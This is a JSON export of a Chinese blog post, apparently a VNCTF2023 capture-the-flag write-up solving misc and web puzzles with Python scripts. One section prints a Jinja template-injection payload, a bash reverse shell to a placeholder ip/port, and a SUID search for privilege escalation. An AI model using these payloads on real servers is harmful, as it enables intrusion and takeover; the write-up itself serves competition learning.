{"id":174,"date":"2023-02-19T21:00:06","date_gmt":"2023-02-19T13:00:06","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=174"},"modified":"2023-02-19T15:28:05","modified_gmt":"2023-02-19T07:28:05","slug":"vnctf2023-writeup","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/174","title":{"rendered":"VNCTF2023 WriteUp"},"content":{"rendered":"

\u8fd9\u4e0b\u699c\u4e00\u5927\u54e5\u4e86\"\"<\/p>\n

Misc<\/h1>\n

\u9a8c\u8bc1\u7801<\/h2>\n

\u56fe\u7247\u91cc\u5f88\u591a\u9ed1\u70b9\u5e72\u6270ocr\uff0c\u5199\u4e2a\u811a\u672c\u53bb\u4e00\u4e0b<\/p>\n

from PIL import Image\nimport os\nimg_list = os.listdir('imgs')\nfor i in img_list:\n    img = Image.open('imgs\/'+i)\n    for j in range(30):\n        for k in range(70):\n            if (img.getpixel((k, j)) == (0, 0, 0)):\n                img.putpixel((k, j), (255, 255, 255))\n    img.save('files\/'+i)\n<\/code><\/pre>\n
\u8fd9\u4e0b\u6e05\u6670\u4e86<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u8fdb\u884c\u4e00\u4e2aqq\u81ea\u5e26\u7684\u6587\u5b57\u8bc6\u522b\uff0c\u5f97\u5230\u6240\u6709\u6570\u5b57<\/p>\n
1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552<\/code><\/pre>\n
\u7f51\u4e0a\u6284\u4e2atupper\u81ea\u6307\u7684\u811a\u672c<\/p>\n
import numpy as np\nimport matplotlib.pyplot as plt\nfrom PIL import Image\n\ndef Tupper_self_referential_formula(k):\n    aa = np.zeros((17, 106))\n\n    def f(x, y):\n        y += k\n        a1 = 2**-(-17*x - y % 17)\n        a2 = (y \/\/ 17) \/\/ a1\n        return 1 if a2 % 2 > 0.5 else 0\n    for y in range(17):\n        for x in range(106):\n            aa[y, x] = f(x, y)\n    return aa[:, ::-1]\n\nk = 1594199391770250354455183081054802631580554590456781276981302978243348088576774816981145460077422136047780972200375212293357383685099969525103172039042888918139627966684645793042724447954308373948403404873262837470923601139156304668538304057819343713500158029312192443296076902692735780417298059011568971988619463802818660736654049870484193411780158317168232187100668526865378478661078082009408188033574841574337151898932291631715135266804518790328831268881702387643369637508117317249879868707531954723945940226278368605203277838681081840279552  # \u8f93\u5165\u4f60\u8981\u63d0\u53d6\u7684k\naa = Tupper_self_referential_formula(k)\nplt.figure(figsize=(15, 10))\nplt.imshow(aa, origin='lower')\nplt.savefig("tupper.png")\nimg = Image.open('tupper.png')\n# \u7ffb\u8f6c\ndst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)\nplt.imshow(dst1)\nplt.show()<\/code><\/pre>\n
\u6c34\u5e73\u7ffb\u8f6c\u5f97\u5230flag<\/p>\n
\"\"<\/p>\n
Snake on web<\/h2>\n
\u4e0b\u8f7d\u4e0b\u6765\uff0c\u672c\u5730\u8c03\u4e00\u4e0b\u901f\u5ea6\uff08\u53cd\u5e94\u529b\u5b9e\u5728\u4e0d\u884c\uff0c\u73a9\u4e86\u597d\u4e45<\/p>\n
\"\"<\/p>\n
\u624b\u52a8\u73a9\u5230100\u5206\u5373\u53ef<\/p>\n
\"\"<\/p>\n
\u6765\u4e00\u628a\u7d27\u5f20\u523a\u6fc0\u7684CS<\/h2>\n
\u4e24\u4e2a\u5de5\u5177\u76f4\u63a5\u68ad\uff0chttps:\/\/blog.nviso.eu\/2022\/03\/11\/cobalt-strike-memory-dumps-part-6\/\u548chttps:\/\/github.com\/Immersive-Labs-Sec\/volatility_plugins<\/a><\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\u6700\u540e\u7684\u751f\u6210flag<\/p>\n
\"\"<\/p>\n
LSSTIB<\/h2>\n
lsb\u5728\u7ebf\u89e3\u5bc6\uff0c\u770b\u9898\u76ee\u540d\u53ef\u77e5\u5b58\u5728ssti<\/p>\n
\u76f4\u63a5\u6284\u4e2apayload<\/p>\n
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}<\/code><\/pre>\n
\u7136\u540e\u5c06\u5176\u4ee5lsb\u52a0\u5bc6\u7684\u65b9\u5f0f\u653e\u5728\u56fe\u7247\u91cc\u9762<\/p>\n
\u751f\u6210\u56fe\u7247\u8f7d\u4f53\u811a\u672c<\/p>\n
from PIL import Image\n#MAX = 25\n# \u4e8c\u7ef4\u7801\u5927\u5c0f\npic = Image.new("RGB", (320, 1))\nstr = "0"*320\ni = 0\nfor y in range(0, 1):\n    for x in range(0, 320):\n        if (str[i] == '1'):\n            pic.putpixel([x, y], (0, 0, 0))\n        else:\n            pic.putpixel([x, y], (255, 255, 255))\n        i = i+1\n\npic.save("1.png")<\/code><\/pre>\n
lsb\u52a0\u5bc6\u811a\u672c\uff08\u5176\u4e2dflag.txt\u662fpayload<\/p>\n
# -*- coding: utf-8 -*-\n"""\nCreated on Sun May 19 11:20:05 2019\n@author: Administrator\n"""\n\nfrom PIL import Image\n\ndef plus(string):\n    # Python zfill() \u65b9\u6cd5\u8fd4\u56de\u6307\u5b9a\u957f\u5ea6\u7684\u5b57\u7b26\u4e32\uff0c\u539f\u5b57\u7b26\u4e32\u53f3\u5bf9\u9f50\uff0c\u524d\u9762\u586b\u51450\u3002\n    return string.zfill(8)\n\ndef get_key(strr):\n    # \u83b7\u53d6\u8981\u9690\u85cf\u7684\u6587\u4ef6\u5185\u5bb9\n    with open(strr, "rb") as f:\n        s = f.read()\n        string = ""\n        for i in range(len(s)):\n         # \u9010\u4e2a\u5b57\u8282\u5c06\u8981\u9690\u85cf\u7684\u6587\u4ef6\u5185\u5bb9\u8f6c\u6362\u4e3a\u4e8c\u8fdb\u5236\uff0c\u5e76\u62fc\u63a5\u8d77\u6765\n         # 1.\u5148\u7528ord()\u51fd\u6570\u5c06s\u7684\u5185\u5bb9\u9010\u4e2a\u8f6c\u6362\u4e3aascii\u7801\n         # 2.\u4f7f\u7528bin()\u51fd\u6570\u5c06\u5341\u8fdb\u5236\u7684ascii\u7801\u8f6c\u6362\u4e3a\u4e8c\u8fdb\u5236\n         # 3.\u7531\u4e8ebin()\u51fd\u6570\u8f6c\u6362\u4e8c\u8fdb\u5236\u540e\uff0c\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32\u7684\u524d\u9762\u4f1a\u6709"0b"\u6765\u8868\u793a\u8fd9\u4e2a\u5b57\u7b26\u4e32\u662f\u4e8c\u8fdb\u5236\u5f62\u5f0f\uff0c\u6240\u4ee5\u7528replace()\u66ff\u6362\u4e3a\u7a7a\n         # 4.\u53c8\u7531\u4e8eascii\u7801\u8f6c\u6362\u4e8c\u8fdb\u5236\u540e\u662f\u4e03\u4f4d\uff0c\u800c\u6b63\u5e38\u60c5\u51b5\u4e0b\u6bcf\u4e2a\u5b57\u7b26\u75318\u4f4d\u4e8c\u8fdb\u5236\u7ec4\u6210\uff0c\u6240\u4ee5\u4f7f\u7528\u81ea\u5b9a\u4e49\u51fd\u6570plus\u5c06\u5176\u586b\u5145\u4e3a8\u4f4d\n            string = string+""+plus(bin(s[i]).replace('0b', ''))\n    # print(string)\n    return string\n\ndef mod(x, y):\n    return x % y\n\n# str1\u4e3a\u8f7d\u4f53\u56fe\u7247\u8def\u5f84\uff0cstr2\u4e3a\u9690\u5199\u6587\u4ef6\uff0cstr3\u4e3a\u52a0\u5bc6\u56fe\u7247\u4fdd\u5b58\u7684\u8def\u5f84\n\ndef func(str1, str2, str3):\n    im = Image.open(str1)\n    # \u83b7\u53d6\u56fe\u7247\u7684\u5bbd\u548c\u9ad8\n    width, height = im.size[0], im.size[1]\n    print("width:"+str(width))\n    print("height:"+str(height))\n    count = 0\n    # \u83b7\u53d6\u9700\u8981\u9690\u85cf\u7684\u4fe1\u606f\n    key = get_key(str2)\n    keylen = len(key)\n    for h in range(height):\n        for w in range(width):\n            pixel = im.getpixel((w, h))\n            a = pixel[0]\n            b = pixel[1]\n            c = pixel[2]\n            if count == keylen:\n                break\n            # \u4e0b\u9762\u7684\u64cd\u4f5c\u662f\u5c06\u4fe1\u606f\u9690\u85cf\u8fdb\u53bb\n            # \u5206\u522b\u5c06\u6bcf\u4e2a\u50cf\u7d20\u70b9\u7684RGB\u503c\u4f592\uff0c\u8fd9\u6837\u53ef\u4ee5\u53bb\u6389\u6700\u4f4e\u4f4d\u7684\u503c\n            # \u518d\u4ece\u9700\u8981\u9690\u85cf\u7684\u4fe1\u606f\u4e2d\u53d6\u51fa\u4e00\u4f4d\uff0c\u8f6c\u6362\u4e3a\u6574\u578b\n            # \u4e24\u503c\u76f8\u52a0\uff0c\u5c31\u628a\u4fe1\u606f\u9690\u85cf\u8d77\u6765\u4e86\n            a = a-mod(a, 2)+int(key[count])\n            count += 1\n            if count == keylen:\n                im.putpixel((w, h), (a, b, c))\n                break\n            b = b-mod(b, 2)+int(key[count])\n            count += 1\n            if count == keylen:\n                im.putpixel((w, h), (a, b, c))\n                break\n            c = c-mod(c, 2)+int(key[count])\n            count += 1\n            if count == keylen:\n                im.putpixel((w, h), (a, b, c))\n                break\n            if count % 3 == 0:\n                im.putpixel((w, h), (a, b, c))\n    im.save(str3)\n\ndef main():\n    # \u539f\u56fe\n    old = "1.png"\n    # \u5904\u7406\u540e\u8f93\u51fa\u7684\u56fe\u7247\u8def\u5f84\n    new = "2.png"\n    # \u9700\u8981\u9690\u85cf\u7684\u4fe1\u606f\n    enc = "flag.txt"\n    func(old, enc, new)\n\nif __name__ == '__main__':\n    main()<\/code><\/pre>\n
\u52a0\u5bc6\u540e\u7684\u56fe\u7247\u76f4\u63a5\u4e0a\u4f20\uff0c\u5f97\u5230\u6210\u529f\u7684\u56de\u663e<\/p>\n
\"\"<\/p>\n
\u4e8e\u662f\u53ef\u4ee5\u8bd5\u8bd5\u5f39\u4e2ashell<\/p>\n
payload:<\/p>\n
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& \/dev\/tcp\/ip\/port 0>&1"').read()}}<\/code><\/pre>\n
lsb\u52a0\u5bc6\u540e\u4e0a\u4f20\uff0c\u6210\u529f\u53cd\u5f39shell<\/p>\n
\"\"<\/p>\n
\u7136\u540e\u5c31\u662f\u5e38\u89c4\u7684suid\u63d0\u6743<\/p>\n
find \/ -perm -u=s -type f 2>\/dev\/null<\/code><\/pre>\n
\u53d1\u73b0find\u547d\u4ee4\u6709suid\u6743\u9650<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u63d0\u6743\u8bfbflag<\/p>\n
\"\"<\/p>\n
\u4f60\u770b\u8fd9\u4e2a\u6307\u9488\u5b83\u53ef\u7231\u5417<\/h2>\n
\u76f4\u63a5\u76ee\u529b\uff0c\u773c\u90fd\u770b\u82b1\u4e86\uff0cwindows\u76f4\u63a5\u770b\uff0c\u72e0\u72e0copy\u51fa\u9898\u4eba\u7684\u811a\u672c<\/p>\n
from PIL import Image\nimport io,os,sys\nimport logging\n\nlogging.basicConfig(format='%(asctime)s - %(pathname)s[line:%(lineno)d] - %(levelname)s: %(message)s',level=logging.INFO)\n\ndef analyzeANIFile(filePath):\n    with open(filePath,'rb') as f:\n        if f.read(4) != b'RIFF':\n            return {"code":-1,"msg":"File is not a ANI File!"}\n        logging.debug('\u6587\u4ef6\u5934\u68c0\u67e5\u5b8c\u6210\uff01')\n        fileSize = int.from_bytes(f.read(4), byteorder='little', signed=False)\n        # if os.path.getsize(filePath) != fileSize:\n        #     return {"code":-2,"msg":"File is damaged!"}\n        logging.debug('\u6587\u4ef6\u957f\u5ea6\u68c0\u67e5\u5b8c\u6210\uff01')\n        if f.read(4) != b'ACON':\n            return {"code":-1,"msg":"File is not a ANI File!"}\n        logging.debug('\u9b54\u6570\u68c0\u67e5\u5b8c\u6210\uff01')\n        frameRate = (1\/60)*1000\n        while(True):\n            chunkName = f.read(4)\n            if chunkName == b'LIST':\n                break\n            chunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)\n            if chunkName.lower() == b'rate':\n                logging.debug('\u53d1\u73b0\u81ea\u5b9a\u4e49\u901f\u7387\uff01')\n                frameRate = frameRate * int.from_bytes(f.read(4), byteorder='little', signed=False)\n                logging.warning('\u53d1\u73b0\u81ea\u5b9a\u4e49\u901f\u7387\uff01\u7531\u4e8eGIF\u9650\u5236\uff0c\u5c06\u53d6\u7b2c\u4e00\u5e27\u4e0e\u7b2c\u4e8c\u5e27\u7684\u901f\u7387\u4f5c\u4e3a\u6574\u4f53\u901f\u7387\uff01')\n                f.read(chunkSize - 4)\n            else:\n                logging.debug('\u53d1\u73b0\u81ea\u5b9a\u4e49Chunk\uff01')\n                f.read(chunkSize)\n        listChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)\n        if f.read(4) != b'fram':\n            return {"code":-3,"msg":"File not a ANI File!(No Frames)"}\n        logging.debug('frame\u5934\u68c0\u67e5\u5b8c\u6210\uff01')\n        frameList = []\n        nowSize = 4\n        while(nowSize < listChunkSize):\n            if f.read(4) != b'icon':\n                return {"code":-4,"msg":"File not a ANI File!(Other Kind Frames)"}\n            nowSize += 4\n            subChunkSize = int.from_bytes(f.read(4), byteorder='little', signed=False)\n            nowSize += 4\n            frameList.append(f.read(subChunkSize))\n            nowSize += subChunkSize\n        return {"code":0,"msg":frameList,"frameRate":frameRate}\n\nif __name__ == '__main__':\n    if len(sys.argv) < 2:\n        logging.fatal("Usage:python ani2gif.py <inputFile> <outputFile,Option>")\n    else:\n        res = analyzeANIFile(sys.argv[1])\n        GIFframes = []\n        if res["code"] == 0:\n            logging.info('ANI\u6587\u4ef6\u5206\u6790\u5b8c\u6210\uff0c\u5e27\u63d0\u53d6\u5b8c\u6210\uff01')\n            for frame in res["msg"]:\n                frameImage = Image.open(io.BytesIO(frame),formats=['CUR']).convert('RGBA')\n                GIFframes.append(frameImage)\n            if(len(sys.argv) >= 3):\n                GIFframes[0].save(sys.argv[2],format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)\n            else:\n                GIFframes[0].save(f"{sys.argv[1].strip('.ani')}.gif",format="GIF",save_all=True, append_images=GIFframes[1:], optimize=False, duration=res["frameRate"], loop=0, transparency=0, disposal=2)\n            logging.info('GIF\u751f\u6210\u5b8c\u6210\uff01')\n        else:\n            logging.fatal(res["msg"])<\/code><\/pre>\n
mac\u7684\u628abase64\u8f6c\u62106\u5f20tiff\u4e4b\u540e\u7ee7\u7eed\u76ee\u529b\uff0c\u5f97\u5230\u6240\u6709flag\u5b57\u7b26\uff0c\u770b\u8d77\u6765\u5927\u6982\u662f\u8fd9\u6837\u7684<\/p>\n
lfa\ng1{\n351\n12c\n8-1\n8\n7\n4\n-\n4\n6\n7b-\n8df\n7-b\n89f\n476\n0d8\n10}<\/code><\/pre>\n
mac\u7684\u987a\u5e8f\u6ca1\u95ee\u9898<\/p>\n
8df7-b89f4760d810}<\/code><\/pre>\n
windows\u7684\u987a\u5e8f\u4e3b\u8981\u662fani\uff0ccur\u7684\u6ca1\u95ee\u9898\uff0c\u7167\u7740hint\u627e\u5230option\u5b57\u6bb5<\/p>\n
\u5c31\u5728"seq "\u7684\u540e\u9762\uff0c\u4ee5\u4e09\u4e2a00\u5206\u5272\uff0c\u4e0b\u56fe\u4e3a1.ani<\/p>\n
\"\"<\/p>\n
\u7167\u7740\u6392\u4e2a\u5e8f\u5373\u53ef\uff0c\u5177\u4f53\u5982\u4e0b<\/p>\n
\u5b57\u6bcd \u5728gif\u4e2d\u7684\u987a\u5e8f \u5728option\u91cc\u7684\u987a\u5e8f\nl 1 13\nf 3 7\na 17 22\n\ng 6 2\n1 7 13\n{ 26 6\n\n3 3 23\n5 9 14\n1 10 17\n\n1 1 6\n2 7 7\nc 9 5\n\n8 22 30\n- 34 28\n1 41 0\n\n7 3 21\nb 18 18\n- 31 25<\/code><\/pre>\n
\u56e0\u6b64\u53e6\u4e00\u534aflag\u4e3a<\/p>\n
flag{1513c121-8874-46b7-<\/code><\/pre>\n
flag\u4e3a<\/p>\n
flag{1513c121-8874-46b7-8df7-b89f4760d810}<\/code><\/pre>\n
Web<\/h1>\n
\u8c61\u68cb\u738b\u5b50<\/h2>\n
\u770bjs\uff0c\u627e\u5230flag\u540e\u653e\u63a7\u5236\u53f0\u91cc\u8dd1\u4e00\u8dd1<\/p>\n
\"\"<\/p>\n
\u7535\u5b50\u6728\u9c7c<\/h2>\n
\u4e00\u773c\u4e01\u771f\uff0c\u53ef\u4ee5\u6ea2\u51fa<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n
\"\"<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8fd9\u4e0b\u699c\u4e00\u5927\u54e5\u4e86 Misc \u9a8c\u8bc1\u7801 \u56fe\u7247\u91cc\u5f88\u591a\u9ed1\u70b9\u5e72\u6270ocr\uff0c\u5199\u4e2a\u811a\u672c\u53bb\u4e00\u4e0b from PIL import Image import os img_list = os.listdir('imgs') for i in img_list: img = Image.open('imgs\/'+i) for j in range(30): for k in rang […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-174","post","type-post","status-publish","format-standard","hentry","category-wp"],"_links":{"self":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/174","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/comments?post=174"}],"version-history":[{"count":2,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/174\/revisions"}],"predecessor-version":[{"id":176,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/posts\/174\/revisions\/176"}],"wp:attachment":[{"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/media?parent=174"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/categories?post=174"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zysgmzb.club\/index.php\/wp-json\/wp\/v2\/tags?post=174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}